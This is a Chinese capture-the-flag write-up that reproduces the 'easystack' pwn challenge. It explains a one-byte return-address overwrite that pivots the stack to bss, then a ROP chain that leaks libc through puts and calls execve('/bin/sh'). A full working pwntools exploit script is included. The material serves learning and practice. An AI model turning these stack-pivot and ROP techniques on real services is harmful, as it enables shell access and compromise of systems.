这个决赛两道Web,一道Pwn,Pwn题最后也没做出来,不过做出来的队伍也不多,后面找做出来的师傅交流了下,然后参照wp进行复现。
easystack
pwn 函数,有两次对 bss 段的读入,最后一次读入存在 0x9 字节的溢出,然而这个溢出字节数只能覆盖 rbp 以及返回地址的一个字节,因此只能考虑栈迁移
一般上我们在栈迁移的时候需要将返回地址覆盖成 leave; ret,这就需要至少溢出 0x10 字节,而现在我们只能覆盖返回地址的一字节
我们 gdb 调试一下,可以看到 pwn 函数的返回地址是 0x400794,而 leave; ret 的地址是 0x40071f,两者相差了一个字节,而我们正好可以覆盖返回地址的一个字节。
那么我们既然可以进行栈迁移,就可以考虑将栈迁移到 bss 段,而 pwn 函数中正好有两次向 bss 段的读入,第一次是 one,其地址是 0x601160,第二次是 two,其地址是 0x601060;我们可以选择将栈迁移到 one 处,然后进行 libc 泄露
第一次读入我们布置好泄露 puts 函数的 rop 链,第二次任意写入,第三次我们将 rbp 覆盖为 one-8 ,而减 8 是为了抵消第二次 leave 时导致的 rsp+8;然后将返回地址一字节写入 \x1f,这样就相当于将返回地址改成了 leave; ret
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] pwn = 0x4006A6 read_two = 0x4006EA one = 0x601160 two = 0x601060 pop_rdi = 0x400803 pop_rbp = 0x400610 leave_ret = 0x40071f
def debug(): attach(p, 'b *0x40071E') pause()
debug() p.recvuntil("What's your name?") payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) p.send(payload)
p.recvuntil("Want leave something?") payload = b'a'*8 p.sendline(payload)
p.recvuntil("So, Bye?") payload = b'a'*0x10 + p64(one-8) + b'\x1f' p.send(payload)
|
可以看到,现在 rbp 已经覆盖成了 one-8,返回地址也变成了 leave; ret
经过两次 leave; ret 之后,栈已经被迁移到了 one 处,然后就会执行泄露 puts 函数的 rop 链
当我们成功泄露出了 puts 函数之后,程序已经退出了
现在我们还需要有再次读入的机会来布置 getshell 的 rop 链,那么我们就可以修改泄露第一次读入的 rop 链,使其能在泄露 puts 函数之后有再次读入的机会
可以看到在第二次读入的汇编代码处,我们可以在泄露出 pus 函数之后返回到这个位置,这样我们就可以有两次读入的机会。第一次读入有 0x40 字节,我们可以布置 getshell 的 rop 链,第二次任意读入,之后程序会来到 leave 处,也就是会执行 mov rsp, rbp
和 pop rbp
,但是此时 rbp 已经变成了 0,再执行 mov rsp, rbp
就会出错,由于我们需要程序执行getshell的rop链,因此我们可以用 pop rbp
将 rbp 恢复成 two。
现在我们修改泄露 puts 函数的 rop 链,将 rbp 变成 two,然后返回到 0x4006EA 处
1 2 3 4 5
| debug() p.recvuntil("What's your name?") payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) payload += p64(pop_rbp) + p64(two) + p64(read_two) p.send(payload)
|
执行到此处是第一次读入
布置好 execve 的 rop 链和第二次任意读入
1 2 3 4 5 6 7 8 9 10
| debug() payload = b'a'*8 payload += p64(pop_rdi) + p64(binsh) payload += p64(pop_rsi) + p64(0) payload += p64(pop_rdx) + p64(0) payload += p64(execve) p.send(payload)
p.recvuntil("So, Bye?") p.sendline(b'a')
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import * context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn1') elf = ELF('./pwn1') libc = ELF('./2.27-3ubuntu1.2_amd64/libc.so.6')
puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] read_two = 0x4006EA one = 0x601160 two = 0x601060 pop_rdi = 0x400803 pop_rbp = 0x400610
def debug(): attach(p, 'b *0x40071E') pause()
p.recvuntil("What's your name?") payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) payload += p64(pop_rbp) + p64(two) + p64(read_two) p.send(payload)
p.recvuntil("Want leave something?") payload = b'a'*8 p.sendline(payload)
p.recvuntil("So, Bye?") payload = b'a'*0x10 + p64(one-8) + b'\x1f' p.send(payload) p.recvuntil(b'\n') puts = u64(p.recv(6).ljust(8, b'\x00')) success('puts:{}'.format(hex(puts)))
libc_base = puts - libc.sym['puts'] binsh = libc_base + next(libc.search(b'/bin/sh\x00')) execve = libc_base + libc.sym['execve'] pop_rsi = libc_base + 0x23e8a pop_rdx = libc_base + 0x1b96
payload = b'a'*8 payload += p64(pop_rdi) + p64(binsh) payload += p64(pop_rsi) + p64(0) payload += p64(pop_rdx) + p64(0) payload += p64(execve) p.send(payload)
p.recvuntil("So, Bye?") p.sendline(b'a')
p.interactive()
|